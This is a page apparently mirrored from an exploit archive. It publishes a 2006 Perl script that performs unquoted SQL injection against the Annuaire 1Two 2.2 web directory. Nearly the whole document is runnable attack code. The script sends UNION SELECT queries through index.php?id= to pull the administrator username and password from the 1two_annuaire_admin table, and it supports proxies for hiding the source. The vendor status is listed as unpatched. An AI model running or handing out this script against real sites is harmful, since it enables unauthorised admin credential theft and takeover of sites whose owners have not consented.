[Exploit]  [Remote]  [Local]  [Web Apps]  [Dos/Poc]  [Shellcode]  [RSS]

# Title : Annuaire 1Two 2.2 Remote SQL Injection Exploit
# Published : 2006-09-02
# Author : DarkFig
# Previous Title : TikiWiki <= 1.9 Sirius (jhot.php) Remote Command Execution Exploit
# Next Title : Dyncms <= Release 6 (x_admindir) Remote File Include Vulnerability


#!/usr/bin/perl
#
# Affected.scr..: Annuaire 1Two 2.2
# Poc.ID........: 09060902.txt
# Type..........: SQL Injection (without quote)
# Risk.level....: Medium
# Vendor.Status.: Unpatched
# Src.download..: http://www.1two.org/
# Poc.link......: acid-root.new.fr/poc/09060902.txt
# Credits.......: DarkFig
#
#
use LWP::UserAgent;
use HTTP::Request;
use Getopt::Long;
use strict;


print STDOUT "n+", '-' x 53, "+n";
print STDOUT "|    Annuaire 1Two 2.2 Remote SQL Injection Exploit   |n";
print STDOUT '+', '-' x 53, "+n";

my($host,$path,$proxh,$proxu,$proxp,);
my $opt = GetOptions(
   'host=s'   =>  $host,
   'path=s'   =>  $path,
   'proxh=s'  =>  $proxh,
   'proxu=s'  =>  $proxu,
   'proxp=s'  =>  $proxp);
   
if(!$host) {
    print STDOUT "| Usage: ./xx.pl --host=[www] --path=[/] [Options]    |n";
    print STDOUT "| [Options] --proxh=[ip] --proxu=[user] --proxp=[pwd] |n";
    print STDOUT '+', '-' x 53, "+n";
    exit(0);
}

if(!$path) {$path  = '/';}
if($host  !~ /http/) {$host  = 'http://'.$host;}
if($proxh !~ /http/ && $proxh != '') {$proxh = 'http://'.$proxh.'/';}

my @fi = ('username', 'password');
my $ur = $host.$path.'index.php?id=';
my $ua = LWP::UserAgent->new();
   $ua->agent('Mozilla XD');
   $ua->timeout(30);
   $ua->proxy(['http'] => $proxh) if $proxh;

foreach(@fi) {
my $xx = $_;
my $re = HTTP::Request->new(GET =>  $ur."-1 UNION SELECT $xx FROM 1two_annuaire_admin");
   $re->proxy_authorization_basic($proxu, $proxp) if $proxp;
my $xd = $ua->request($re);
my $da = $xd->content;

if($da =~ /- (.*?)</title>/) {
      if($xx eq 'username') {
            print STDOUT " [+]User:";}
      if($xx eq 'password') {
            print STDOUT " [+]Passwd:";}
      print STDOUT " $1n";
} else {
  print STDOUT "[!]Exploit failedn";
}}
print STDOUT "+", '-' x 53, "+n";
exit(0);

# www.Syue.com [2006-09-02]